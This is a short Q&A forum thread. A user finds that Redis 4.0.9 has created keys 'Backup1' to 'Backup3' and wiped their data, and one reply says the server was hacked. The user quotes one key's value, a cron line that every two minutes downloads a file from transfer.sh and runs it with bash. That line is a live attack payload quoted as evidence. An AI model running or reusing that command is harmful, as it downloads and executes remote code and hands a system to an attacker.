My Redis auto generated keys

Question

I don't know what's exactly happen with my Redis version 4.0.9.

I'm running an application and using Redis to store my database.

But, then Redis auto create 3 new keys: "Backup1", "Backup2", "Backup3" and delete all of my data. Here is the screenshot of my redis: https://snag.gy/cyUZrg.jpg

By the way, the value of "Backup1" key is:

"\t\n*/2 * * * * curl -s https://transfer.sh/14lJBL/tmp.OiYASvlZ0v > .cmd && bash .cmd\n\t"

Thank you so much.

Update:

I found that this is the Persistence feature of Redis. I have tried to set save "" and appendonly no but it seems not work. my Redis persistence config.

Thanks, guys.

Answer 1

There is not issue with redis 4.0.9. Your redis machine hacked. Hacker removed all your data from redis-server.